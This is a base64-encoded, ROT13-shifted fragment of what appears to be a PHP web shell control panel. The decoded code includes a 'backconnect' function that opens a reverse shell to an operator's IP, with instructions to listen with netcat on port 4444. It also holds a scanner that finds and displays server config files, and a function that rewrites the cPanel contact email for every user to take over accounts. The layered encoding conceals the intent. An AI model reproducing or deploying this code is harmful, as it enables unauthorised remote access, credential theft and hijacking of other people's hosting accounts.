6IGBud25rPWdlaHImbnBndmJhPW9ucHhwYmFhcnBnJnViZmc9JHtyYXBicXJIRVZQYnpjYmFyYWcodWJmZyl9JmNiZWc9JHtyYXBicXJIRVZQYnpjYmFyYWcoY2JlZyl9YA0KICAgIH0pDQogICAgLmd1cmEoZXJmY2JhZnIgPT4gZXJmY2JhZnIud2ZiYSgpKQ0KICAgIC5ndXJhKHFuZ24gPT4gew0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gYDxxdmkgZmdseXI9InBieWJlOiAjMjhuNzQ1OyI+JHtxbmduLmJoZ2NoZ308L3F2aT5gOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9IGA8cXZpIGZnbHlyPSJwYnliZTogI3FwMzU0NTsiPiR7cW5nbi5iaGdjaGd9PC9xdmk+YDsNCiAgICAgICAgfQ0KICAgIH0pDQogICAgLnBuZ3B1KHJlZWJlID0+IHsNCiAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9IGA8cXZpIGZnbHlyPSJwYnliZTogI3FwMzU0NTsiPlJlZWJlOiAke3JlZWJlfTwvcXZpPmA7DQogICAgfSk7DQp9DQoNCnNoYXBndmJhIGZ1YmpPbnB4cGJhYXJwZ1VyeWMoKSB7DQogICAgcGJhZmcgYmhnY2hnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ29ucHhwYmFhcnBnQmhnY2hnJyk7DQogICAgYmhnY2hnLnZhYXJlVUdaWSA9IGANCiAgICAgICAgPGZnZWJhdD5PbnB4cGJhYXJwZyBVcnljOjwvZmdlYmF0PjxvZT4NCiAgICAgICAgMS4gQmEgbGJoZSB6bnB1dmFyLCBlaGE6IDxwYnFyPmFwIC15aWMgNDQ0NDwvcGJxcj48b2U+DQogICAgICAgIDIuIFJhZ3JlIGxiaGUgVkMgbnFxZXJmZiBub2JpcjxvZT4NCiAgICAgICAgMy4gUHl2cHggIkZnbmVnIE9ucHhwYmFhcnBnIjxvZT4NCiAgICAgICAgNC4gTGJoIGZ1Ymh5cSB0cmcgbiBlcmlyZWZyIGZ1cnl5IHBiYWFycGd2YmE8b2U+PG9lPg0KICAgICAgICA8ZmdlYmF0PkFiZ3I6PC9mZ2ViYXQ+IEd1dmYgZXJkaHZlcmYgYmhnb2JoYXEgcGJhYXJwZ3ZiYWYgc2VieiBndXIgZnJlaXJlLg0KICAgIGA7DQp9DQoNCi8vIFBiYXN2dCBVaGFncmUgc2hhcGd2YmFmDQpzaGFwZ3ZiYSBmcG5hUGJhc3Z0U3Z5cmYoKSB7DQogICAgcGJhZmcgY25ndSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdwYmFzdnRGcG5hQ25ndScpLmlueWhyIHx8ICcvaW5lL2pqaic7DQogICAgDQogICAgcGJhZmcgYmhnY2hnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BiYXN2dFVoYWdyZUJoZ2NoZycpOw0KICAgIGJoZ2NoZy52YWFyZVVHWlkgPSAnRnBuYWF2YXQgc2JlIHBiYXN2dCBzdnlyZi4uLic7DQogICAgDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9ZnBuYV9wYmFzdnRfc3Z5cmYmZnBuYV9jbmd1PSR7cmFwYnFySEVWUGJ6Y2JhcmFnKGNuZ3UpfWANCiAgICB9KQ0KICAgIC5ndXJhKGVyZmNiYWZyID0+IGVyZmNiYWZyLndmYmEoKSkNCiAgICAuZ3VyYShxbmduID0+IHsNCiAgICAgICAgcGJhZmcgZXJmaHlnZlF2aSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdwYmFzdnRFcmZoeWdmJyk7DQogICAgICAgIGVyZmh5Z2ZRdmkudmFhcmVVR1pZID0gJyc7DQogICAgICAgIA0KICAgICAgICB2cyAocW5nbi5maHBwcmZmICYmIHFuZ24uc3Z5cmYgJiYgcW5nbi5zdnlyZi55cmF0Z3UgPiAwKSB7DQogICAgICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gYFNiaGFxICR7cW5nbi5zdnlyZi55cmF0Z3V9IHBiYXN2dCBzdnlyZmA7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHFuZ24uc3Z5cmYuc2JlUm5wdShzdnlyID0+IHsNCiAgICAgICAgICAgICAgICBwYmFmZyBzdnlyUXZpID0gcWJwaHpyYWcucGVybmdyUnlyenJhZygncXZpJyk7DQogICAgICAgICAgICAgICAgc3Z5clF2aS5weW5mZkFuenIgPSAncGJhc3Z0LXZncnonOw0KICAgICAgICAgICAgICAgIHN2eXJRdmkudmFhcmVVR1pZID0gYA0KICAgICAgICAgICAgICAgICAgICA8ZmdlYmF0PlN2eXI6PC9mZ2ViYXQ+ICR7c3Z5ci5jbmd1fTxvZT4NCiAgICAgICAgICAgICAgICAgICAgPGZnZWJhdD5Gdm1yOjwvZmdlYmF0PiAke3N2eXIuZnZtcn0gb2xncmY8b2U+DQogICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+WmJxdnN2cnE6PC9mZ2ViYXQ+ICR7c3Z5ci56YnF2c3ZycX08b2U+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InpuZXR2YS1nYmM6IDEwY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9Im9nYSBvZ2EtdmFzYiBvZ2EtZnoiIGJhcHl2cHg9Iml2cmpTdnlyUGJhZ3JhZygnJHtzdnlyLmNuZ3UuZXJjeW5wcigvJy90LCAiXFwnIil9JykiPkl2cmo8L29oZ2diYT4NCiAgICAgICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgYDsNCiAgICAgICAgICAgICAgICBlcmZoeWdmUXZpLm5jY3JhcVB1dnlxKHN2eXJRdmkpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gJ0FiIHBiYXN2dCBzdnlyZiBzYmhhcSc7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij5SZWViZTogJHtyZWViZX08L3F2aT5gOw0KICAgIH0pOw0KfQ0KDQpzaGFwZ3ZiYSBpdnJqU3Z5clBiYWdyYWcoc3Z5ckNuZ3UpIHsNCiAgICBzcmdwdSgnJywgew0KICAgICAgICB6cmd1YnE6ICdDQkZHJywNCiAgICAgICAgdXJucXJlZjogew0KICAgICAgICAgICAgJ1BiYWdyYWctR2xjcic6ICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnLA0KICAgICAgICB9LA0KICAgICAgICBvYnFsOiBgbnduaz1nZWhyJm5wZ3ZiYT10cmdfc3Z5cl9wYmFncmFnJnN2eXJjbmd1PSR7cmFwYnFySEVWUGJ6Y2JhcmFnKHN2eXJDbmd1KX1gDQogICAgfSkNCiAgICAuZ3VyYShlcmZjYmFmciA9PiBlcmZjYmFmci53ZmJhKCkpDQogICAgLmd1cmEocW5nbiA9PiB7DQogICAgICAgIHZzIChxbmduLmZocHByZmYpIHsNCiAgICAgICAgICAgIHBiYWZnIHpicW55ID0gcWJwaHpyYWcucGVybmdyUnlyenJhZygncXZpJyk7DQogICAgICAgICAgICB6YnFueS5weW5mZkFuenIgPSAnemJxbnknOw0KICAgICAgICAgICAgemJxbnkuZmdseXIucXZmY3lubCA9ICdveWJweCc7DQogICAgICAgICAgICB6YnFueS52YWFyZVVHWlkgPSBgDQogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iemJxbnktcGJhZ3JhZyI+DQogICAgICAgICAgICAgICAgICAgIDx1Mz5TdnlyIFBiYWdyYWc6ICR7c3Z5ckNuZ3UuZmN5dmcoJy8nKS5jYmMoKX08L3UzPg0KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwYnFyLWNlcml2cmoiPiR7cW5nbi5wYmFncmFnLmVyY3lucHIoLzwvdCwgJyZ5ZzsnKS5lcmN5bnByKC8+L3QsICcmdGc7Jyl9PC9xdmk+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgZmdseXI9InpuZXR2YS1nYmM6IDIwY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9Im9nYSBvZ2EtcW5hdHJlIiBiYXB5dnB4PSJndXZmLnB5YmZyZmcoJy56YnFueScpLmVyemJpcigpIj5QeWJmcjwvb2hnZ2JhPg0KICAgICAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIGA7DQogICAgICAgICAgICBxYnBoenJhZy5vYnFsLm5jY3JhcVB1dnlxKHpicW55KTsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIG55cmVnKCdSZWViZSB5Ym5xdmF0IHN2eXI6ICcgKyBxbmduLnJlZWJlKTsNCiAgICAgICAgfQ0KICAgIH0pDQogICAgLnBuZ3B1KHJlZWJlID0+IHsNCiAgICAgICAgbnlyZWcoJ1JlZWJlOiAnICsgcmVlYmUpOw0KICAgIH0pOw0KfQ0KDQovLyBwQ25hcnkgRXJmcmcgc2hhcGd2YmFmDQpzaGFwZ3ZiYSBlcmZyZ1BjbmFyeSgpIHsNCiAgICBwYmFmZyByem52eSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdwY25hcnlSem52eScpLmlueWhyOw0KICAgIA0KICAgIHZzICghcnpudnkpIHsNCiAgICAgICAgbnlyZWcoJ0N5cm5mciByYWdyZSBuYSByem52eSBucXFlcmZmJyk7DQogICAgICAgIGVyZ2hlYTsNCiAgICB9DQogICAgDQogICAgdnMgKCFwYmFzdmV6KCdHdXZmIGp2eXkgZXJmcmcgcENuYXJ5IHBiYWducGcgcnpudnkgc2JlIG55eSBoZnJlZi4gUGJhZ3ZhaHI/JykpIHsNCiAgICAgICAgZXJnaGVhOw0KICAgIH0NCiAgICANCiAgICBwYmFmZyBiaGdjaGcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncGNuYXJ5RXJmcmdCaGdjaGcnKTsNCiAgICBiaGdjaGcudmFhcmVVR1pZID0gJ0VyZnJnZ3ZhdCBwQ25hcnkgcnpudnlmLi4uJzsNCiAgICANCiAgICBzcmdwdSgnJywgew0KICAgICAgICB6cmd1YnE6ICdDQkZHJywNCiAgICAgICAgdXJucXJlZjogew0KICAgICAgICAgICAgJ1BiYWdyYWctR2xjcic6ICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnLA0KICAgICAgICB9LA0KICAgICAgICBvYnFsOiBgbnduaz1nZWhyJm5wZ3ZiYT1lcmZyZ19wY25hcnkmcnpudnk9JHtyYXBicXJIRVZQYnpjYmFyYWcocnpudnkpfWANCiAgICB9KQ0KICAgIC5ndXJhKGVyZmNiYWZyID0+IGVyZmNiYWZyLndmYmEoKSkNCiAgICAuZ3VyYShxbmduID0+IHsNCiAgICAgICAgdnMgKHFuZ24uZmhwcHJmZikgew0KICAgICAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9IGA8cXZpIGZnbHlyPSJwYnliZTogIzI4bjc0NTsiPiR7cW5nbi5iaGdjaGd9PC9xdmk+YDsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij4ke3FuZ24uYmhnY2hnfTwvcXZpPmA7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij5SZWViZTogJHtyZWViZX08L3F2aT5gOw0KICAgIH0pOw0KfQ0KDQpzaGFwZ3ZiYSBmdWJqUGNuYXJ5VXJ5YygpIHsNCiAgICBwYmFmZyBiaGdjaGcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncGNuYXJ5RXJmcmdCaGdjaGcnKTsNCiAgICBiaGdjaGcudmFhcmVVR1pZID0gYA0KICAgICAgICA8ZmdlYmF0PnBDbmFyeSBFcmZyZyBVcnljOjwvZmdlYmF0PjxvZT4NCiAgICAgICAgR3V2ZiBzcm5naGVyIGVyZnJnZiBndXIgcGJhZ25wZyByem52eSB2YSBwQ25hcnkgcGJhc3Z0aGVuZ3ZiYSBzdnlyZi48b2U+DQogICAgICAgIFZnIG5zc3JwZ2Ygbnl5IGhmcmVmIHZhIC91YnpyLyovLnBjbmFyeS9wYmFnbnBndmFzYjxvZT48b2U+DQogICAgICAgIDxmZ2ViYXQ+SGZudHI6PC9mZ2ViYXQ+PG9lPg0KICAgICAgICAxLiBSYWdyZSBndXIgYXJqIHJ6bnZ5IG5xcWVyZmY8b2U+DQogICAgICAgIDIuIFB5dnB4ICJFcmZyZyBwQ25hcnkgUnpudnkiPG9lPg0KICAgICAgICAzLiBOeXkgcENuYXJ5IG5wcGJoYWdmIGp2eXkgaGZyIGd1dmYgcnpudnkgc2JlIHBiYWducGcNCiAgICBgOw0KfQ0KPC9mcGV2Y2c+DQo8L29icWw+DQo8L3Vnenk+DQo8P2N1Yw0Kc2hhcGd2YmEgc2Jlem5nX2Z2bXIoJGZ2bXIpIHsNCiAgICB2cyAoJGZ2bXIgPT0gMCkgZXJnaGVhICcwIE8nOw0KICAgICRoYXZnZiA9IFsnTycsICdYTycsICdaTycsICdUTyddOw0KICAgICRoYXZnID0gMDsNCiAgICBqdXZ5ciAoJGZ2bXIgPj0gMTAyNCAmJiAkaGF2ZyA8IHBiaGFnKCRoYXZnZikgLSAxKSB7DQogICAgICAgICRmdm1yIC89IDEwMjQ7DQogICAgICAgICRoYXZnKys7DQogICAgfQ0KICAgIGVyZ2hlYSBlYmhhcSgkZnZtciwgMikgLiAnICcgLiAkaGF2Z2ZbJGhhdmddOw0KfQ0KPz4NCg==